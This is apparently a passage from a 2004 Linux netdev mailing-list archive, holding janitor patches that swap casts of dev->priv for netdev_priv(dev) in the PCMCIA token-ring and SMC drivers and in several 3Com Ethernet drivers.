linux-264-302-priv/drivers/net/pcmcia/ibmtr_cs.c~net_pcmcia_casts 2004-03-02 15:57:38.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/pcmcia/ibmtr_cs.c 2004-03-02 16:06:03.000000000 -0800 @@ -178,7 +178,7 @@ static dev_link_t *ibmtr_attach(void) link = &info->link; link->priv = info; - info->ti = dev->priv; + info->ti = netdev_priv(dev); link->io.Attributes1 = IO_DATA_PATH_WIDTH_8; link->io.NumPorts1 = 4; @@ -256,7 +256,7 @@ static void ibmtr_detach(dev_link_t *lin unregister_netdev(dev); { - struct tok_info *ti = (struct tok_info *)dev->priv; + struct tok_info *ti = netdev_priv(dev); del_timer_sync(&(ti->tr_timer)); } if (link->state & DEV_CONFIG) @@ -287,7 +287,7 @@ static void ibmtr_config(dev_link_t *lin client_handle_t handle = link->handle; ibmtr_dev_t *info = link->priv; struct net_device *dev = info->dev; - struct tok_info *ti = dev->priv; + struct tok_info *ti = netdev_priv(dev); tuple_t tuple; cisparse_t parse; win_req_t req; @@ -412,7 +412,7 @@ static void ibmtr_release(dev_link_t *li pcmcia_release_io(link->handle, &link->io); pcmcia_release_irq(link->handle, &link->irq); if (link->win) { - struct tok_info *ti = dev->priv; + struct tok_info *ti = netdev_priv(dev); iounmap((void *)ti->mmio); pcmcia_release_window(link->win); pcmcia_release_window(info->sram_win_handle); diff -puN drivers/net/pcmcia/smc91c92_cs.c~net_pcmcia_casts drivers/net/pcmcia/smc91c92_cs.c --- linux-264-302-priv/drivers/net/pcmcia/smc91c92_cs.c~net_pcmcia_casts 2004-03-02 15:57:38.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/pcmcia/smc91c92_cs.c 2004-03-02 16:07:05.000000000 -0800 @@ -327,7 +327,7 @@ static dev_link_t *smc91c92_attach(void) dev = alloc_etherdev(sizeof(struct smc_private)); if (!dev) return NULL; - smc = dev->priv; + smc = netdev_priv(dev); link = &smc->link; link->priv = dev; @@ -483,7 +483,7 @@ static int next_tuple(client_handle_t ha static int mhz_3288_power(dev_link_t *link) { struct net_device *dev = link->priv; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); u_char tmp; /* Read the ISR twice... */ @@ -505,7 +505,7 @@ static int mhz_3288_power(dev_link_t *li static int mhz_mfc_config(dev_link_t *link) { struct net_device *dev = link->priv; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); tuple_t tuple; cisparse_t parse; u_char buf[255]; @@ -618,7 +618,7 @@ static int mhz_setup(dev_link_t *link) static void mot_config(dev_link_t *link) { struct net_device *dev = link->priv; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; ioaddr_t iouart = link->io.BasePort2; @@ -894,7 +894,7 @@ static void smc91c92_config(dev_link_t * { client_handle_t handle = link->handle; struct net_device *dev = link->priv; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); tuple_t tuple; cisparse_t parse; u_short buf[32]; @@ -1069,7 +1069,7 @@ static void smc91c92_release(dev_link_t pcmcia_release_irq(link->handle, &link->irq); if (link->win) { struct net_device *dev = link->priv; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); iounmap(smc->base); pcmcia_release_window(link->win); } @@ -1091,7 +1091,7 @@ static int smc91c92_event(event_t event, { dev_link_t *link = args->client_data; struct net_device *dev = link->priv; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); int i; DEBUG(1, "smc91c92_event(0x%06x)\n", event); @@ -1240,7 +1240,7 @@ static void smc_dump(struct net_device * static int smc_open(struct net_device *dev) { - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); dev_link_t *link = &smc->link; #ifdef PCMCIA_DEBUG @@ -1277,7 +1277,7 @@ static int smc_open(struct net_device *d static int smc_close(struct net_device *dev) { - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); dev_link_t *link = &smc->link; ioaddr_t ioaddr = dev->base_addr; @@ -1314,7 +1314,7 @@ static int smc_close(struct net_device * static void smc_hardware_send_packet(struct net_device * dev) { - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); struct sk_buff *skb = smc->saved_skb; ioaddr_t ioaddr = dev->base_addr; u_char packet_no; @@ -1379,7 +1379,7 @@ static void smc_hardware_send_packet(str static void smc_tx_timeout(struct net_device *dev) { - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; printk(KERN_NOTICE "%s: SMC91c92 transmit timed out, " @@ -1394,7 +1394,7 @@ static void smc_tx_timeout(struct net_de static int smc_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; u_short num_pages; short time_out, ir; @@ -1460,7 +1460,7 @@ static int smc_start_xmit(struct sk_buff static void smc_tx_err(struct net_device * dev) { - struct smc_private *smc = (struct smc_private *)dev->priv; + struct smc_private *smc = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; int saved_packet = inw(ioaddr + PNR_ARR) & 0xff; int packet_no = inw(ioaddr + FIFO_PORTS) & 0x7f; @@ -1504,7 +1504,7 @@ static void smc_tx_err(struct net_device static void smc_eph_irq(struct net_device *dev) { - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; u_short card_stats, ephs; @@ -1539,7 +1539,7 @@ static void smc_eph_irq(struct net_devic static irqreturn_t smc_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = dev_id; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); ioaddr_t ioaddr; u_short saved_bank, saved_pointer, mask, status; unsigned int handled = 1; @@ -1657,7 +1657,7 @@ irq_done: static void smc_rx(struct net_device *dev) { - struct smc_private *smc = (struct smc_private *)dev->priv; + struct smc_private *smc = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; int rx_status; int packet_length; /* Caution: not frame length, rather words @@ -1725,7 +1725,7 @@ static void smc_rx(struct net_device *de static struct net_device_stats *smc_get_stats(struct net_device *dev) { - struct smc_private *smc = (struct smc_private *)dev->priv; + struct smc_private *smc = netdev_priv(dev); /* Nothing to update - the 91c92 is a pretty primative chip. */ return &smc->stats; } @@ -1765,7 +1765,7 @@ static void fill_multicast_tbl(int count static void set_rx_mode(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); u_int multicast_table[ 2 ] = { 0, }; unsigned long flags; u_short rx_cfg_setting; @@ -1804,7 +1804,7 @@ static void set_rx_mode(struct net_devic static int s9k_config(struct net_device *dev, struct ifmap *map) { - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); if ((map->port != (u_char)(-1)) && (map->port != dev->if_port)) { if (smc->cfg & CFG_MII_SELECT) return -EOPNOTSUPP; @@ -1830,7 +1830,7 @@ static int s9k_config(struct net_device */ static void smc_set_xcvr(struct net_device *dev, int if_port) { - struct smc_private *smc = (struct smc_private *)dev->priv; + struct smc_private *smc = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; u_short saved_bank; @@ -1855,7 +1855,7 @@ static void smc_set_xcvr(struct net_devi static void smc_reset(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); int i; DEBUG(0, "%s: smc91c92 reset called.\n", dev->name); @@ -1930,7 +1930,7 @@ static void smc_reset(struct net_device static void media_check(u_long arg) { struct net_device *dev = (struct net_device *) arg; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; u_short i, media, saved_bank; u_short link; @@ -2044,7 +2044,7 @@ reschedule: static int smc_link_ok(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); if (smc->cfg & CFG_MII_SELECT) { return mii_link_ok(&smc->mii_if); @@ -2109,7 +2109,7 @@ static int smc_netdev_set_ecmd(struct ne static int smc_ethtool_ioctl (struct net_device *dev, void *useraddr) { u32 ethcmd; - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); if (get_user(ethcmd, (u32 *)useraddr)) return -EFAULT; @@ -2202,7 +2202,7 @@ static int smc_ethtool_ioctl (struct net static int smc_ioctl (struct net_device *dev, struct ifreq *rq, int cmd) { - struct smc_private *smc = dev->priv; + struct smc_private *smc = netdev_priv(dev); struct mii_ioctl_data *mii; int rc = 0; u_short saved_bank; _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:19:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:20:08 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LJuKO018440 for ; Thu, 4 Mar 2004 13:19:58 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LJoE29052 for ; Thu, 4 Mar 2004 13:19:50 -0800 Date: Thu, 4 Mar 2004 13:18:58 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in 3com net drivers Message-Id: <20040304131858.14057195.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3747 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 24213 Lines: 741 | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/3c501.c | 16 +++---- linux-264-302-priv-rddunlap/drivers/net/3c507.c | 18 ++++---- linux-264-302-priv-rddunlap/drivers/net/3c509.c | 34 ++++++++-------- linux-264-302-priv-rddunlap/drivers/net/3c527.c | 38 +++++++++--------- linux-264-302-priv-rddunlap/drivers/net/3c59x.c | 50 ++++++++++++------------ 5 files changed, 78 insertions(+), 78 deletions(-) diff -puN drivers/net/3c501.c~net_3cxyz_casts drivers/net/3c501.c --- linux-264-302-priv/drivers/net/3c501.c~net_3cxyz_casts 2004-03-03 11:10:48.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/3c501.c 2004-03-03 11:12:56.000000000 -0800 @@ -306,7 +306,7 @@ static int __init el1_probe1(struct net_ printk(KERN_DEBUG "%s", version); memset(dev->priv, 0, sizeof(struct net_local)); - lp=dev->priv; + lp = netdev_priv(dev); spin_lock_init(&lp->lock); /* @@ -341,7 +341,7 @@ static int el_open(struct net_device *de { int retval; int ioaddr = dev->base_addr; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned long flags; if (el_debug > 2) @@ -371,7 +371,7 @@ static int el_open(struct net_device *de static void el_timeout(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; if (el_debug) @@ -411,7 +411,7 @@ static void el_timeout(struct net_device static int el_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; unsigned long flags; @@ -524,7 +524,7 @@ static irqreturn_t el_interrupt(int irq, int axsr; /* Aux. status reg. */ ioaddr = dev->base_addr; - lp = (struct net_local *)dev->priv; + lp = netdev_priv(dev); spin_lock(&lp->lock); @@ -698,7 +698,7 @@ out: static void el_receive(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int pkt_len; struct sk_buff *skb; @@ -764,7 +764,7 @@ static void el_receive(struct net_device static void el_reset(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; if (el_debug> 2) @@ -828,7 +828,7 @@ static int el1_close(struct net_device * static struct net_device_stats *el1_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); return &lp->stats; } diff -puN drivers/net/3c507.c~net_3cxyz_casts drivers/net/3c507.c --- linux-264-302-priv/drivers/net/3c507.c~net_3cxyz_casts 2004-03-03 11:10:48.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/3c507.c 2004-03-03 11:16:05.000000000 -0800 @@ -441,7 +441,7 @@ static int __init el16_probe1(struct net if (net_debug) printk(version); - lp = dev->priv; + lp = netdev_priv(dev); memset(lp, 0, sizeof(*lp)); spin_lock_init(&lp->lock); @@ -471,7 +471,7 @@ static int el16_open(struct net_device * static void el16_tx_timeout (struct net_device *dev) { - struct net_local *lp = (struct net_local *) dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; unsigned long shmem = dev->mem_start; @@ -501,7 +501,7 @@ static void el16_tx_timeout (struct net_ static int el16_send_packet (struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *) dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; unsigned long flags; short length = ETH_ZLEN < skb->len ? skb->len : ETH_ZLEN; @@ -546,7 +546,7 @@ static irqreturn_t el16_interrupt(int ir } ioaddr = dev->base_addr; - lp = (struct net_local *)dev->priv; + lp = netdev_priv(dev); shmem = dev->mem_start; spin_lock(&lp->lock); @@ -660,7 +660,7 @@ static int el16_close(struct net_device closed. */ static struct net_device_stats *el16_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); /* ToDo: decide if there are any useful statistics from the SCB. */ @@ -670,7 +670,7 @@ static struct net_device_stats *el16_get /* Initialize the Rx-block list. */ static void init_rx_bufs(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned long write_ptr; unsigned short SCB_base = SCB_BASE; @@ -713,7 +713,7 @@ static void init_rx_bufs(struct net_devi static void init_82586_mem(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); short ioaddr = dev->base_addr; unsigned long shmem = dev->mem_start; @@ -771,7 +771,7 @@ static void init_82586_mem(struct net_de static void hardware_send_packet(struct net_device *dev, void *buf, short length, short pad) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); short ioaddr = dev->base_addr; ushort tx_block = lp->tx_head; unsigned long write_ptr = dev->mem_start + tx_block; @@ -820,7 +820,7 @@ static void hardware_send_packet(struct static void el16_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned long shmem = dev->mem_start; ushort rx_head = lp->rx_head; ushort rx_tail = lp->rx_tail; diff -puN drivers/net/3c509.c~net_3cxyz_casts drivers/net/3c509.c --- linux-264-302-priv/drivers/net/3c509.c~net_3cxyz_casts 2004-03-03 11:10:48.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/3c509.c 2004-03-03 11:19:54.000000000 -0800 @@ -304,7 +304,7 @@ static int nopnp; static int __init el3_common_init(struct net_device *dev) { - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); short i; int err; @@ -355,7 +355,7 @@ static int __init el3_common_init(struct static void el3_common_remove (struct net_device *dev) { - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); (void) lp; /* Keep gcc quiet... */ #ifdef CONFIG_PM @@ -575,7 +575,7 @@ no_pnp: dev->base_addr = ioaddr; dev->irq = irq; dev->if_port = if_port; - lp = dev->priv; + lp = netdev_priv(dev); #if defined(__ISAPNP__) && !defined(CONFIG_X86_PC9800) lp->dev = &idev->dev; #endif @@ -671,7 +671,7 @@ static int __init el3_mca_probe(struct d dev->base_addr = ioaddr; dev->irq = irq; dev->if_port = if_port; - lp = dev->priv; + lp = netdev_priv(dev); lp->dev = device; lp->type = EL3_MCA; device->driver_data = dev; @@ -732,7 +732,7 @@ static int __init el3_eisa_probe (struct dev->base_addr = ioaddr; dev->irq = irq; dev->if_port = if_port; - lp = dev->priv; + lp = netdev_priv(dev); lp->dev = device; lp->type = EL3_EISA; eisa_set_drvdata (edev, dev); @@ -829,7 +829,7 @@ el3_open(struct net_device *dev) static void el3_tx_timeout (struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); int ioaddr = dev->base_addr; /* Transmitter timeout, serious problems. */ @@ -849,7 +849,7 @@ el3_tx_timeout (struct net_device *dev) static int el3_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); int ioaddr = dev->base_addr; unsigned long flags; @@ -943,7 +943,7 @@ el3_interrupt(int irq, void *dev_id, str return IRQ_NONE; } - lp = (struct el3_private *)dev->priv; + lp = netdev_priv(dev); spin_lock(&lp->lock); ioaddr = dev->base_addr; @@ -975,7 +975,7 @@ el3_interrupt(int irq, void *dev_id, str outw(AckIntr | RxEarly, ioaddr + EL3_CMD); } if (status & TxComplete) { /* Really Tx error. */ - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); short tx_status; int i = 4; @@ -1022,7 +1022,7 @@ el3_interrupt(int irq, void *dev_id, str static struct net_device_stats * el3_get_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); unsigned long flags; /* @@ -1043,7 +1043,7 @@ el3_get_stats(struct net_device *dev) */ static void update_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); int ioaddr = dev->base_addr; if (el3_debug > 5) @@ -1073,7 +1073,7 @@ static void update_stats(struct net_devi static int el3_rx(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); int ioaddr = dev->base_addr; short rx_status; @@ -1145,7 +1145,7 @@ static void set_multicast_list(struct net_device *dev) { unsigned long flags; - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); int ioaddr = dev->base_addr; if (el3_debug > 1) { @@ -1172,7 +1172,7 @@ static int el3_close(struct net_device *dev) { int ioaddr = dev->base_addr; - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); if (el3_debug > 2) printk("%s: Shutting down ethercard.\n", dev->name); @@ -1317,7 +1317,7 @@ static int netdev_ethtool_ioctl (struct net_device *dev, void *useraddr) { u32 ethcmd; - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); /* dev_ioctl() in ../../net/core/dev.c has already checked capable(CAP_NET_ADMIN), so don't bother with that here. */ @@ -1558,7 +1558,7 @@ el3_suspend(struct pm_dev *pdev) return -EINVAL; dev = (struct net_device *)pdev->data; - lp = (struct el3_private *)dev->priv; + lp = netdev_priv(dev); ioaddr = dev->base_addr; spin_lock_irqsave(&lp->lock, flags); @@ -1585,7 +1585,7 @@ el3_resume(struct pm_dev *pdev) return -EINVAL; dev = (struct net_device *)pdev->data; - lp = (struct el3_private *)dev->priv; + lp = netdev_priv(dev); ioaddr = dev->base_addr; spin_lock_irqsave(&lp->lock, flags); diff -puN drivers/net/3c527.c~net_3cxyz_casts drivers/net/3c527.c --- linux-264-302-priv/drivers/net/3c527.c~net_3cxyz_casts 2004-03-03 11:10:48.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/3c527.c 2004-03-03 11:37:11.000000000 -0800 @@ -226,7 +226,7 @@ static struct ethtool_ops netdev_ethtool static void cleanup_card(struct net_device *dev) { - struct mc32_local *lp=dev->priv; + struct mc32_local *lp = netdev_priv(dev); unsigned slot = lp->slot; mca_mark_as_unused(slot); mca_set_adapter_name(slot, NULL); @@ -307,7 +307,7 @@ static int __init mc32_probe1(struct net int i, err; u8 POS; u32 base; - struct mc32_local *lp = dev->priv; + struct mc32_local *lp = netdev_priv(dev); static u16 mca_io_bases[]={ 0x7280,0x7290, 0x7680,0x7690, @@ -573,7 +573,7 @@ static inline void mc32_ready_poll(struc static int mc32_command_nowait(struct net_device *dev, u16 cmd, void *data, int len) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int ret = -1; @@ -619,7 +619,7 @@ static int mc32_command_nowait(struct ne static int mc32_command(struct net_device *dev, u16 cmd, void *data, int len) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int ret = 0; @@ -671,7 +671,7 @@ static int mc32_command(struct net_devic static void mc32_start_transceiver(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; /* Ignore RX overflow on device closure */ @@ -706,7 +706,7 @@ static void mc32_start_transceiver(struc static void mc32_halt_transceiver(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; mc32_ready_poll(dev); @@ -743,7 +743,7 @@ static void mc32_halt_transceiver(struct static int mc32_load_rx_ring(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); int i; u16 rx_base; volatile struct skb_header *p; @@ -792,7 +792,7 @@ static int mc32_load_rx_ring(struct net_ static void mc32_flush_rx_ring(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); int i; for(i=0; i < RX_RING_LEN; i++) @@ -824,7 +824,7 @@ static void mc32_flush_rx_ring(struct ne static void mc32_load_tx_ring(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); volatile struct skb_header *p; int i; u16 tx_base; @@ -861,7 +861,7 @@ static void mc32_load_tx_ring(struct net static void mc32_flush_tx_ring(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); int i; for (i=0; i < TX_RING_LEN; i++) @@ -899,7 +899,7 @@ static void mc32_flush_tx_ring(struct ne static int mc32_open(struct net_device *dev) { int ioaddr = dev->base_addr; - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); u8 one=1; u8 regs; u16 descnumbuffs[2] = {TX_RING_LEN, RX_RING_LEN}; @@ -1022,7 +1022,7 @@ static void mc32_timeout(struct net_devi static int mc32_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); u32 head = atomic_read(&lp->tx_ring_head); volatile struct skb_header *p, *np; @@ -1092,7 +1092,7 @@ static int mc32_send_packet(struct sk_bu static void mc32_update_stats(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); volatile struct mc32_stats *st = lp->stats; u32 rx_errors=0; @@ -1143,7 +1143,7 @@ static void mc32_update_stats(struct net static void mc32_rx_ring(struct net_device *dev) { - struct mc32_local *lp=dev->priv; + struct mc32_local *lp = netdev_priv(dev); volatile struct skb_header *p; u16 rx_ring_tail; u16 rx_old_tail; @@ -1236,7 +1236,7 @@ static void mc32_rx_ring(struct net_devi static void mc32_tx_ring(struct net_device *dev) { - struct mc32_local *lp=(struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); volatile struct skb_header *np; /* @@ -1333,7 +1333,7 @@ static irqreturn_t mc32_interrupt(int ir } ioaddr = dev->base_addr; - lp = (struct mc32_local *)dev->priv; + lp = netdev_priv(dev); /* See whats cooking */ @@ -1450,7 +1450,7 @@ static irqreturn_t mc32_interrupt(int ir static int mc32_close(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; u8 regs; @@ -1499,7 +1499,7 @@ static int mc32_close(struct net_device static struct net_device_stats *mc32_get_stats(struct net_device *dev) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); mc32_update_stats(dev); return &lp->net_stats; @@ -1531,7 +1531,7 @@ static struct net_device_stats *mc32_get static void do_mc32_set_multicast_list(struct net_device *dev, int retry) { - struct mc32_local *lp = (struct mc32_local *)dev->priv; + struct mc32_local *lp = netdev_priv(dev); u16 filt = (1<<2); /* Save Bad Packets, for stats purposes */ if (dev->flags&IFF_PROMISC) diff -puN drivers/net/3c59x.c~net_3cxyz_casts drivers/net/3c59x.c --- linux-264-302-priv/drivers/net/3c59x.c~net_3cxyz_casts 2004-03-03 11:10:48.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/3c59x.c 2004-03-03 11:26:59.000000000 -0800 @@ -1013,7 +1013,7 @@ static int vortex_eisa_remove (struct de BUG(); } - vp = dev->priv; + vp = netdev_priv(dev); ioaddr = dev->base_addr; unregister_netdev (dev); @@ -1115,7 +1115,7 @@ static int __devinit vortex_probe1(struc } SET_MODULE_OWNER(dev); SET_NETDEV_DEV(dev, gendev); - vp = dev->priv; + vp = netdev_priv(dev); option = global_options; @@ -1516,7 +1516,7 @@ static void vortex_up(struct net_device *dev) { long ioaddr = dev->base_addr; - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); unsigned int config; int i; @@ -1714,7 +1714,7 @@ vortex_up(struct net_device *dev) static int vortex_open(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); int i; int retval; @@ -1772,7 +1772,7 @@ static void vortex_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; int next_tick = 60*HZ; int ok = 0; @@ -1898,7 +1898,7 @@ leave_media_alone: static void vortex_tx_timeout(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; printk(KERN_ERR "%s: transmit timed out, tx_status %2.2x status %4.4x.\n", @@ -1968,7 +1968,7 @@ static void vortex_tx_timeout(struct net static void vortex_error(struct net_device *dev, int status) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; int do_tx_reset = 0, reset_mask = 0; unsigned char tx_status = 0; @@ -2070,7 +2070,7 @@ vortex_error(struct net_device *dev, int static int vortex_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; /* Put out the doubleword header... */ @@ -2125,7 +2125,7 @@ vortex_start_xmit(struct sk_buff *skb, s static int boomerang_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; /* Calculate the next Tx descriptor entry. */ int entry = vp->cur_tx % TX_RING_SIZE; @@ -2225,7 +2225,7 @@ static irqreturn_t vortex_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = dev_id; - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr; int status; int work_done = max_interrupt_work; @@ -2330,7 +2330,7 @@ static irqreturn_t boomerang_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = dev_id; - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr; int status; int work_done = max_interrupt_work; @@ -2455,7 +2455,7 @@ handler_exit: static int vortex_rx(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; int i; short rx_status; @@ -2525,7 +2525,7 @@ static int vortex_rx(struct net_device * static int boomerang_rx(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); int entry = vp->cur_rx % RX_RING_SIZE; long ioaddr = dev->base_addr; int rx_status; @@ -2627,7 +2627,7 @@ static void rx_oom_timer(unsigned long arg) { struct net_device *dev = (struct net_device *)arg; - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); spin_lock_irq(&vp->lock); if ((vp->cur_rx - vp->dirty_rx) == RX_RING_SIZE) /* This test is redundant, but makes me feel good */ @@ -2642,7 +2642,7 @@ rx_oom_timer(unsigned long arg) static void vortex_down(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; netif_stop_queue (dev); @@ -2678,7 +2678,7 @@ vortex_down(struct net_device *dev) static int vortex_close(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long 